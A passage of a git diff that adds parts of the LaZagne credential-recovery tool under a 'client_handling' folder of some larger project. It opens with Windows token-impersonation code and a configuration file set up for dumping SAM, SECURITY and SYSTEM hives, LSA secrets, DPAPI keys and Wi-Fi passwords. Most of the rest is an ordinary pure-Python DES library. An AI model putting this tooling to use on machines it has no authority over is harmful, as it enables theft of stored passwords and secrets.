impersonate_token(hToken): + """ + Impersonate token - Need admin privilege + """ + if get_debug_privilege(): + hTokendupe = HANDLE(INVALID_HANDLE_VALUE) + if hTokendupe: + SecurityImpersonation = 2 + TokenPrimary = 1 + if DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, None, SecurityImpersonation, TokenPrimary, byref(hTokendupe)): + CloseHandle(hToken) + if ImpersonateLoggedOnUser(hTokendupe): + return hTokendupe + else: + print_debug('DEBUG', 'Get debug privilege failed') + return False + + +def rev2self(): + """ + Back to previous token priv + """ + global global_ref + RevertToSelf() + try: + if global_ref: + CloseHandle(global_ref) + except Exception: + pass + global_ref = None diff --git a/foreign/client_handling/lazagne/config/constant.py b/foreign/client_handling/lazagne/config/constant.py new file mode 100644 index 0000000..fd26d0a --- /dev/null +++ b/foreign/client_handling/lazagne/config/constant.py @@ -0,0 +1,62 @@ +# -*- coding: utf-8 -*- +import tempfile +import logging +import random +import string +import time +import os + +logging.getLogger().setLevel(logging.CRITICAL) +date = time.strftime("%d%m%Y_%H%M%S") +tmp = tempfile.gettempdir() + + +class constant(): + folder_name = '.' + file_name_results = 'credentials_{current_time}'.format( + current_time=date + ) # The extension is added depending on the user output choice + max_help = 27 + CURRENT_VERSION = '2.4.3' + output = None + modules_dic = {} + nb_password_found = 0 # Total password found + password_found = [] # Tab containing all passwords used for dictionary attack + stdout_result = [] # Tab containing all results by user + pypykatz_result = {} + finalResults = {} + profile = { + 'APPDATA': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\', + 'USERPROFILE': u'{drive}:\\Users\\{user}\\', + 'HOMEDRIVE': u'{drive}:', + 'HOMEPATH': u'{drive}:\\Users\\{user}', + 'ALLUSERSPROFILE': u'{drive}:\\ProgramData', + 'COMPOSER_HOME': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Composer\\', + 'LOCALAPPDATA': u'{drive}:\\Users\\{user}\\AppData\\Local', + } + username = u'' + keepass = {} + hives = { + 'sam': os.path.join( + tmp, + ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])), + 'security': os.path.join( + tmp, + ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])), + 'system': os.path.join( + tmp, + ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])) + } + quiet_mode = False + st = None # Standard output + drive = u'C' + user_dpapi = None + system_dpapi = None + lsa_secrets = None + is_current_user = False # If True, Windows API are used otherwise dpapi is used + user_password = None + wifi_password = False # Check if the module as already be done + module_to_exec_at_end = { + "winapi": [], + "dpapi": [], + } diff --git a/foreign/client_handling/lazagne/config/crypto/__init__.py b/foreign/client_handling/lazagne/config/crypto/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/foreign/client_handling/lazagne/config/crypto/__init__.py diff --git a/foreign/client_handling/lazagne/config/crypto/pyDes.py b/foreign/client_handling/lazagne/config/crypto/pyDes.py new file mode 100644 index 0000000..09b34c3 --- /dev/null +++ b/foreign/client_handling/lazagne/config/crypto/pyDes.py @@ -0,0 +1,852 @@ +############################################################################# +# Documentation # +############################################################################# + +# Author: Todd Whiteman +# Date: 28th April, 2010 +# Version: 2.0.1 +# License: MIT +# Homepage: http://twhiteman.netfirms.com/des.html +# +# This is a pure python implementation of the DES encryption algorithm. +# It's pure python to avoid portability issues, since most DES +# implementations are programmed in C (for performance reasons). +# +# Triple DES class is also implemented, utilizing the DES base. Triple DES +# is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key. +# +# See the README.txt that should come with this python module for the +# implementation methods used. +# +# Thanks to: +# * David Broadwell for ideas, comments and suggestions. +# * Mario Wolff for pointing out and debugging some triple des CBC errors. +# * Santiago Palladino for providing the PKCS5 padding technique. +# * Shaya for correcting the PAD_PKCS5 triple des CBC errors. +# +"""A pure python implementation of the DES and TRIPLE DES encryption algorithms. + +Class initialization +-------------------- +pyDes.des(key, [mode], [IV], [pad], [padmode]) +pyDes.triple_des(key, [mode], [IV], [pad], [padmode]) + +key -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes + for Triple DES +mode -> Optional argument for encryption type, can be either + pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining) +IV -> Optional Initial Value bytes, must be supplied if using CBC mode. + Length must be 8 bytes. +pad -> Optional argument, set the pad character (PAD_NORMAL) to use during + all encrypt/decrypt operations done with this instance. +padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) + to use during all encrypt/decrypt operations done with this instance. + +I recommend to use PAD_PKCS5 padding, as then you never need to worry about any +padding issues, as the padding can be removed unambiguously upon decrypting +data that was encrypted using PAD_PKCS5 padmode. + +Common methods +-------------- +encrypt(data, [pad], [padmode]) +decrypt(data, [pad], [padmode]) + +data -> Bytes to be encrypted/decrypted +pad -> Optional argument. Only when using padmode of PAD_NORMAL. For + encryption, adds this characters to the end of the data block when + data is not a multiple of 8 bytes. For decryption, will remove the + trailing characters that match this pad character from the last 8 + bytes of the unencrypted data block. +padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL + or PAD_PKCS5). Defaults to PAD_NORMAL. + + +Example +------- +from pyDes import * + +data = "Please encrypt my data" +k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) +# For Python3, you'll need to use bytes, i.e.: +# data = b"Please encrypt my data" +# k = des(b"DESCRYPT", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) +d = k.encrypt(data) +print "Encrypted: %r" % d +print "Decrypted: %r" % k.decrypt(d) +assert k.decrypt(d, padmode=PAD_PKCS5) == data + + +See the module source (pyDes.py) for more examples of use. +You can also run the pyDes.py file without and arguments to see a simple test. + +Note: This code was not written for high-end systems needing a fast + implementation, but rather a handy portable solution with small usage. + +""" + +import sys + +# _pythonMajorVersion is used to handle Python2 and Python3 differences. +_pythonMajorVersion = sys.version_info[0] + +# Modes of crypting / cyphering +ECB = 0 +CBC = 1 + +# Modes of padding +PAD_NORMAL = 1 +PAD_PKCS5 = 2 + +# PAD_PKCS5: is a method that will unambiguously remove all padding +# characters after decryption, when originally encrypted with +# this padding mode. +# For a good description of the PKCS5 padding technique, see: +# http://www.faqs.org/rfcs/rfc1423.html + +# The base class shared by des and triple des. +class _baseDes(object): + def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): + if IV: + IV = self._guardAgainstUnicode(IV) + if pad: + pad = self._guardAgainstUnicode(pad) + self.block_size = 8 + # Sanity checking of arguments. + if pad and padmode == PAD_PKCS5: + raise ValueError("Cannot use a pad character with PAD_PKCS5") + if IV and len(IV) != self.block_size: + raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") + + # Set the passed in variables + self._mode = mode + self._iv = IV + self._padding = pad + self._padmode = padmode + + def getKey(self): + """getKey() -> bytes""" + return self.__key + + def setKey(self, key): + """Will set the crypting key for this object.""" + key = self._guardAgainstUnicode(key) + self.__key = key + + def getMode(self): + """getMode() -> pyDes.ECB or pyDes.CBC""" + return self._mode + + def setMode(self, mode): + """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" + self._mode = mode + + def getPadding(self): + """getPadding() -> bytes of length 1. Padding character.""" + return self._padding + + def setPadding(self, pad): + """setPadding() -> bytes of length 1. Padding character.""" + if pad is not None: + pad = self._guardAgainstUnicode(pad) + self._padding = pad + + def getPadMode(self): + """getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" + return self._padmode + + def setPadMode(self, mode): + """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" + self._padmode = mode + + def getIV(self): + """getIV() -> bytes""" + return self._iv + + def setIV(self, IV): + """Will set the Initial Value, used in conjunction with CBC mode""" + if not IV or len(IV) != self.block_size: + raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") + IV = self._guardAgainstUnicode(IV) + self._iv = IV + + def _padData(self, data, pad, padmode): + # Pad data depending on the mode + if padmode is None: + # Get the default padding mode. + padmode = self.getPadMode() + if pad and padmode == PAD_PKCS5: + raise ValueError("Cannot use a pad character with PAD_PKCS5") + + if padmode == PAD_NORMAL: + if len(data) % self.block_size == 0: + # No padding required. + return data + + if not pad: + # Get the default padding. + pad = self.getPadding() + if not pad: + raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.") + data += (self.block_size - (len(data) % self.block_size)) * pad + + elif padmode == PAD_PKCS5: + pad_len = 8 - (len(data) % self.block_size) + if _pythonMajorVersion < 3: + data += pad_len * chr(pad_len) + else: + data += bytes([pad_len] * pad_len) + + return data + + def _unpadData(self, data, pad, padmode): + # Unpad data depending on the mode. + if not data: + return data + if pad and padmode == PAD_PKCS5: + raise ValueError("Cannot use a pad character with PAD_PKCS5") + if padmode is None: + # Get the default padding mode. + padmode = self.getPadMode() + + if padmode == PAD_NORMAL: + if not pad: + # Get the default padding. + pad = self.getPadding() + if pad: + data = data[:-self.block_size] + \ + data[-self.block_size:].rstrip(pad) + + elif padmode == PAD_PKCS5: + if _pythonMajorVersion < 3: + pad_len = ord(data[-1]) + else: + pad_len = data[-1] + data = data[:-pad_len] + + return data + + def _guardAgainstUnicode(self, data): + # Only accept byte strings or ascii unicode values, otherwise + # there is no way to correctly decode the data into bytes. + if _pythonMajorVersion < 3: + if isinstance(data, unicode): # noqa + raise ValueError("pyDes can only work with bytes, not Unicode strings.") + else: + if isinstance(data, str): + # Only accept ascii unicode values. + try: + return data.encode('ascii') + except UnicodeEncodeError: + pass + raise ValueError("pyDes can only work with encoded strings, not Unicode.") + return data + +############################################################################# +# DES # +############################################################################# +class des(_baseDes): + """DES encryption/decrytpion class + + Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. + + pyDes.des(key,[mode], [IV]) + + key -> Bytes containing the encryption key, must be exactly 8 bytes + mode -> Optional argument for encryption type, can be either pyDes.ECB + (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) + IV -> Optional Initial Value bytes, must be supplied if using CBC mode. + Must be 8 bytes in length. + pad -> Optional argument, set the pad character (PAD_NORMAL) to use + during all encrypt/decrypt operations done with this instance. + padmode -> Optional argument, set the padding mode (PAD_NORMAL or + PAD_PKCS5) to use during all encrypt/decrypt operations done + with this instance. + """ + + + # Permutation and translation tables for DES + __pc1 = [56, 48, 40, 32, 24, 16, 8, + 0, 57, 49, 41, 33, 25, 17, + 9, 1, 58, 50, 42, 34, 26, + 18, 10, 2, 59, 51, 43, 35, + 62, 54, 46, 38, 30, 22, 14, + 6, 61, 53, 45, 37, 29, 21, + 13, 5, 60, 52, 44, 36, 28, + 20, 12, 4, 27, 19, 11, 3 + ] + + # number left rotations of pc1 + __left_rotations = [ + 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 + ] + + # permuted choice key (table 2) + __pc2 = [ + 13, 16, 10, 23, 0, 4, + 2, 27, 14, 5, 20, 9, + 22, 18, 11, 3, 25, 7, + 15, 6, 26, 19, 12, 1, + 40, 51, 30, 36, 46, 54, + 29, 39, 50, 44, 32, 47, + 43, 48, 38, 55, 33, 52, + 45, 41, 49, 35, 28, 31 + ] + + # initial permutation IP + __ip = [57, 49, 41, 33, 25, 17, 9, 1, + 59, 51, 43, 35, 27, 19, 11, 3, + 61, 53, 45, 37, 29, 21, 13, 5, + 63, 55, 47, 39, 31, 23, 15, 7, + 56, 48, 40, 32, 24, 16, 8, 0, + 58, 50, 42, 34, 26, 18, 10, 2, + 60, 52, 44, 36, 28, 20, 12, 4, + 62, 54, 46, 38, 30, 22, 14, 6 + ] + + # Expansion table for turning 32 bit blocks into 48 bits + __expansion_table = [ + 31, 0, 1, 2, 3, 4, + 3, 4, 5, 6, 7, 8, + 7, 8, 9, 10, 11, 12, + 11, 12, 13, 14, 15, 16, + 15, 16, 17, 18, 19, 20, + 19, 20, 21, 22, 23, 24, + 23, 24, 25, 26, 27, 28, + 27, 28, 29, 30, 31, 0 + ] + + # The (in)famous S-boxes + __sbox = [ + # S1 + [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, + 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, + 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, + 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], + + # S2 + [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, + 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, + 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, + 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], + + # S3 + [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, + 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, + 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, + 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12], + + # S4 + [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, + 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, + 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, + 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14], + + # S5 + [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, + 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, + 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, + 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3], + + # S6 + [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, + 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, + 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, + 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13], + + # S7 + [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, + 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, + 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, + 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], + + # S8 + [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, + 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, + 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, + 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11], + ] + + + # 32-bit permutation function P used on the output of the S-boxes + __p = [ + 15, 6, 19, 20, 28, 11, + 27, 16, 0, 14, 22, 25, + 4, 17, 30, 9, 1, 7, + 23,13, 31, 26, 2, 8, + 18, 12, 29, 5, 21, 10, + 3, 24 + ] + + # final permutation IP^-1 + __fp = [ + 39, 7, 47, 15, 55, 23, 63, 31, + 38, 6, 46, 14, 54, 22, 62, 30, + 37, 5, 45, 13, 53, 21, 61, 29, + 36, 4, 44, 12, 52, 20, 60, 28, + 35, 3, 43, 11, 51, 19, 59, 27, + 34, 2, 42, 10, 50, 18, 58, 26, + 33, 1, 41, 9, 49, 17, 57, 25, + 32, 0, 40, 8, 48, 16, 56, 24 + ] + + # Type of crypting being done + ENCRYPT = 0x00 + DECRYPT = 0x01 + + # Initialisation + def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): + # Sanity checking of arguments. + if len(key) != 8: + raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.") + _baseDes.__init__(self, mode, IV, pad, padmode) + self.key_size = 8 + + self.L = [] + self.R = [] + self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16) + self.final = [] + + self.setKey(key) + + def setKey(self, key): + """Will set the crypting key for this object. Must be 8 bytes.""" + _baseDes.setKey(self, key) + self.__create_sub_keys() + + def __String_to_BitList(self, data): + """Turn the string data, into a list of bits (1, 0)'s""" + if _pythonMajorVersion < 3: + # Turn the strings into integers. Python 3 uses a bytes + # class, which already has this behaviour. + data = [ord(c) for c in data] + l = len(data) * 8 + result = [0] * l + pos = 0 + for ch in data: + i = 7 + while i >= 0: + if ch & (1 << i) != 0: + result[pos] = 1 + else: + result[pos] = 0 + pos += 1 + i -= 1 + + return result + + def __BitList_to_String(self, data): + """Turn the list of bits -> data, into a string""" + result = [] + pos = 0 + c = 0 + while pos < len(data): + c += data[pos] << (7 - (pos % 8)) + if (pos % 8) == 7: + result.append(c) + c = 0 + pos += 1 + + if _pythonMajorVersion < 3: + return ''.join([ chr(c) for c in result ]) + else: + return bytes(result) + + def __permutate(self, table, block): + """Permutate this block with the specified table""" + return list(map(lambda x: block[x], table)) + + # Transform the secret key, so that it is ready for data processing + # Create the 16 subkeys, K[1] - K[16] + def __create_sub_keys(self): + """Create the 16 subkeys K[1] to K[16] from the given key""" + key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey())) + i = 0 + # Split into Left and Right sections + self.L = key[:28] + self.R = key[28:] + while i < 16: + j = 0 + # Perform circular left shifts + while j < des.__left_rotations[i]: + self.L.append(self.L[0]) + del self.L[0] + + self.R.append(self.R[0]) + del self.R[0] + + j += 1 + + # Create one of the 16 subkeys through pc2 permutation + self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R) + + i += 1 + + # Main part of the encryption algorithm, the number cruncher :) + def __des_crypt(self, block, crypt_type): + """Crypt the block of data through DES bit-manipulation""" + block = self.__permutate(des.__ip, block) + self.L = block[:32] + self.R = block[32:] + + # Encryption starts from Kn[1] through to Kn[16] + if crypt_type == des.ENCRYPT: + iteration = 0 + iteration_adjustment = 1 + # Decryption starts from Kn[16] down to Kn[1] + else: + iteration = 15 + iteration_adjustment = -1 + + i = 0 + while i < 16: + # Make a copy of R[i-1], this will later become L[i] + tempR = self.R[:] + + # Permutate R[i - 1] to start creating R[i] + self.R = self.__permutate(des.__expansion_table, self.R) + + # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here + self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration])) + B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]] + # Optimization: Replaced below commented code with above + #j = 0 + #B = [] + #while j < len(self.R): + # self.R[j] = self.R[j] ^ self.Kn[iteration][j] + # j += 1 + # if j % 6 == 0: + # B.append(self.R[j-6:j]) + + # Permutate B[1] to B[8] using the S-Boxes + j = 0 + Bn = [0] * 32 + pos = 0 + while j < 8: + # Work out the offsets + m = (B[j][0] << 1) + B[j][5] + n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4] + + # Find the permutation value + v = des.__sbox[j][(m << 4) + n] + + # Turn value into bits, add it to result: Bn + Bn[pos] = (v & 8) >> 3 + Bn[pos + 1] = (v & 4) >> 2 + Bn[pos + 2] = (v & 2) >> 1 + Bn[pos + 3] = v & 1 + + pos += 4 + j += 1 + + # Permutate the concatination of B[1] to B[8] (Bn) + self.R = self.__permutate(des.__p, Bn) + + # Xor with L[i - 1] + self.R = list(map(lambda x, y: x ^ y, self.R, self.L)) + # Optimization: This now replaces the below commented code + #j = 0 + #while j < len(self.R): + # self.R[j] = self.R[j] ^ self.L[j] + # j += 1 + + # L[i] becomes R[i - 1] + self.L = tempR + + i += 1 + iteration += iteration_adjustment + + # Final permutation of R[16]L[16] + self.final = self.__permutate(des.__fp, self.R + self.L) + return self.final + + + # Data to be encrypted/decrypted + def crypt(self, data, crypt_type): + """Crypt the data in blocks, running it through des_crypt()""" + + # Error check the data + if not data: + return '' + if len(data) % self.block_size != 0: + if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks + raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.") + if not self.getPadding(): + raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character") + else: + data += (self.block_size - (len(data) % self.block_size)) * self.getPadding() + # print "Len of data: %f" % (len(data) / self.block_size) + + if self.getMode() == CBC: + if self.getIV(): + iv = self.__String_to_BitList(self.getIV()) + else: + raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering") + + # Split the data into blocks, crypting each one seperately + i = 0 + dict = {} + result = [] + #cached = 0 + #lines = 0 + while i < len(data): + # Test code for caching encryption results + #lines += 1 + #if dict.has_key(data[i:i+8]): + #print "Cached result for: %s" % data[i:i+8] + # cached += 1 + # result.append(dict[data[i:i+8]]) + # i += 8 + # continue + + block = self.__String_to_BitList(data[i:i+8]) + + # Xor with IV if using CBC mode + if self.getMode() == CBC: + if crypt_type == des.ENCRYPT: + block = list(map(lambda x, y: x ^ y, block, iv)) + #j = 0 + #while j < len(block): + # block[j] = block[j] ^ iv[j] + # j += 1 + + processed_block = self.__des_crypt(block, crypt_type) + + if crypt_type == des.DECRYPT: + processed_block = list(map(lambda x, y: x ^ y, processed_block, iv)) + #j = 0 + #while j < len(processed_block): + # processed_block[j] = processed_block[j] ^ iv[j] + # j += 1 + iv = block + else: + iv = processed_block + else: + processed_block = self.__des_crypt(block, crypt_type) + + + # Add the resulting crypted block to our list + #d = self.__BitList_to_String(processed_block) + #result.append(d) + result.append(self.__BitList_to_String(processed_block)) + #dict[data[i:i+8]] = d + i += 8 + + # print "Lines: %d, cached: %d" % (lines, cached) + + # Return the full crypted string + if _pythonMajorVersion < 3: + return ''.join(result) + else: + return bytes.fromhex('').join(result) + + def encrypt(self, data, pad=None, padmode=None): + """encrypt(data, [pad], [padmode]) -> bytes + + data : Bytes to be encrypted + pad : Optional argument for encryption padding. Must only be one byte + padmode : Optional argument for overriding the padding mode. + + The data must be a multiple of 8 bytes and will be encrypted + with the already specified key. Data does not have to be a + multiple of 8 bytes if the padding character is supplied, or + the padmode is set to PAD_PKCS5, as bytes will then added to + ensure the be padded data is a multiple of 8 bytes. + """ + data = self._guardAgainstUnicode(data) + if pad is not None: + pad = self._guardAgainstUnicode(pad) + data = self._padData(data, pad, padmode) + return self.crypt(data, des.ENCRYPT) + + def decrypt(self, data, pad=None, padmode=None): + """decrypt(data, [pad], [padmode]) -> bytes + + data : Bytes to be decrypted + pad : Optional argument for decryption padding. Must only be one byte + padmode : Optional argument for overriding the padding mode. + + The data must be a multiple of 8 bytes and will be decrypted + with the already specified key. In PAD_NORMAL mode, if the + optional padding character is supplied, then the un-encrypted + data will have the padding characters removed from the end of + the bytes. This pad removal only occurs on the last 8 bytes of + the data (last data block). In PAD_PKCS5 mode, the special + padding end markers will be removed from the data after decrypting. + """ + data = self._guardAgainstUnicode(data) + if pad is not None: + pad = self._guardAgainstUnicode(pad) + data = self.crypt(data, des.DECRYPT) + return self._unpadData(data, pad, padmode) + + + +############################################################################# +# Triple DES # +############################################################################# +class triple_des(_baseDes): + """Triple DES encryption/decrytpion class + + This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or + the DES-EDE2 (when a 16 byte key is supplied) encryption methods. + Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. + + pyDes.des(key, [mode], [IV]) + + key -> Bytes containing the encryption key, must be either 16 or + 24 bytes long + mode -> Optional argument for encryption type, can be either pyDes.ECB + (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) + IV -> Optional Initial Value bytes, must be supplied if using CBC mode. + Must be 8 bytes in length. + pad -> Optional argument, set the pad character (PAD_NORMAL) to use + during all encrypt/decrypt operations done with this instance. + padmode -> Optional argument, set the padding mode (PAD_NORMAL or + PAD_PKCS5) to use during all encrypt/decrypt operations done + with this instance. + """ + def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): + _baseDes.__init__(self, mode, IV, pad, padmode) + self.setKey(key) + + def setKey(self, key): + """Will set the crypting key for this object. Either 16 or 24 bytes long.""" + self.key_size = 24 # Use DES-EDE3 mode + if len(key) != self.key_size: + if len(key) == 16: # Use DES-EDE2 mode + self.key_size = 16 + else: + raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long") + if self.getMode() == CBC: + if not self.getIV(): + # Use the first 8 bytes of the key + self._iv = key[:self.block_size] + if len(self.getIV()) != self.block_size: + raise ValueError("Invalid IV, must be 8 bytes in length") + self.__key1 = des(key[:8], self._mode, self._iv, + self._padding, self._padmode) + self.__key2 = des(key[8:16], self._mode, self._iv, + self._padding, self._padmode) + if self.key_size == 16: + self.__key3 = self.__key1 + else: + self.__key3 = des(key[16:], self._mode, self._iv, + self._padding, self._padmode) + _baseDes.setKey(self, key) + + # Override setter methods to work on all 3 keys. + + def setMode(self, mode): + """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" + _baseDes.setMode(self, mode) + for key in (self.__key1, self.__key2, self.__key3): + key.setMode(mode) + + def setPadding(self, pad): + """setPadding() -> bytes of length 1. Padding character.""" + _baseDes.setPadding(self, pad) + for key in (self.__key1, self.__key2, self.__key3): + key.setPadding(pad) + + def setPadMode(self, mode): + """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" + _baseDes.setPadMode(self, mode) + for key in (self.__key1, self.__key2, self.__key3): + key.setPadMode(mode) + + def setIV(self, IV): + """Will set the Initial Value, used in conjunction with CBC mode""" + _baseDes.setIV(self, IV) + for key in (self.__key1, self.__key2, self.__key3): + key.setIV(IV) + + def encrypt(self, data, pad=None, padmode=None): + """encrypt(data, [pad], [padmode]) -> bytes + + data : bytes to be encrypted + pad : Optional argument for encryption padding. Must only be one byte + padmode : Optional argument for overriding the padding mode. + + The data must be a multiple of 8 bytes and will be encrypted + with the already specified key. Data does not have to be a + multiple of 8 bytes if the padding character is supplied, or + the padmode is set to PAD_PKCS5, as bytes will then added to + ensure the be padded data is a multiple of 8 bytes. + """ + ENCRYPT = des.ENCRYPT + DECRYPT = des.DECRYPT + data = self._guardAgainstUnicode(data) + if pad is not None: + pad = self._guardAgainstUnicode(pad) + # Pad the data accordingly. + data = self._padData(data, pad, padmode) + if self.getMode() == CBC: + self.__key1.setIV(self.getIV()) + self.__key2.setIV(self.getIV()) + self.__key3.setIV(self.getIV()) + i = 0 + result = [] + while i < len(data): + block = self.__key1.crypt(data[i:i+8], ENCRYPT) + block = self.__key2.crypt(block, DECRYPT) + block = self.__key3.crypt(block, ENCRYPT) + self.__key1.setIV(block) + self.__key2.setIV(block) + self.__key3.setIV(block) + result.append(block) + i += 8 + if _pythonMajorVersion < 3: + return ''.join(result) + else: + return bytes.fromhex('').join(result) + else: + data = self.__key1.crypt(data, ENCRYPT) + data = self.__key2.crypt(data, DECRYPT) + return self.__key3.crypt(data, ENCRYPT) + + def decrypt(self, data, pad=None, padmode=None): + """decrypt(data, [pad], [padmode]) -> bytes + + data : bytes to be encrypted + pad : Optional argument for decryption padding. Must only be one byte + padmode : Optional argument for overriding the padding mode. + + The data must be a multiple of 8 bytes and will be decrypted + with the already specified key. In PAD_NORMAL mode, if the + optional padding character is supplied, then the un-encrypted + data will have the padding characters removed from the end of + the bytes. This pad removal only occurs on the last 8 bytes of + the data (last data block). In PAD_PKCS5 mode, the special + padding end markers will be removed from the data after + decrypting, no pad character is required for PAD_PKCS5. + """ + ENCRYPT = des.ENCRYPT + DECRYPT = des.DECRYPT + data = self._guardAgainstUnicode(data) + if pad is not None: + pad = self._guardAgainstUnicode(pad) + if self.getMode() == CBC: + self.__key1.setIV(self.getIV()) + self.__key2.setIV(self.getIV()) + self.__key3.setIV(self.getIV()) + i = 0 + result = [] + while i < len(data): + iv = data[i:i+8] + block = self.__key3.crypt(iv, DECRYPT) + block = self.__key2.crypt(block, ENCRYPT) + block = self.__key1.crypt(block, DECRYPT) + self.__key1.setIV(iv) + self.__key2.setIV(iv) + self.__key3.setIV(iv) + result.append(block) + i += 8 + if _pythonMajorVersion < 3: + data = ''.join(result) + else: + data = bytes.fromhex('').join(result) + else: + data = self.__key3.crypt(data, DECRYPT) + data = self.__key2.crypt(data, ENCRYPT) + data = self.__key1.crypt(data, DECRYPT) + return self._unpadData(data, pad, padmode) diff --git a/foreign/client_handling/lazagne/config/crypto/pyaes/__init__.py b/foreign/client_handling/lazagne/config/crypto/pyaes/__init__.py new file mode 100644 index 0000000..5712f79 --- /dev/null +++ b/foreign/client_handling/lazagne/config/crypto/pyaes/__init__.py @@ -0,0 +1,53 @@ +# The MIT License (MIT) +# +# Copyright (c) 2014 Richard Moore +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR 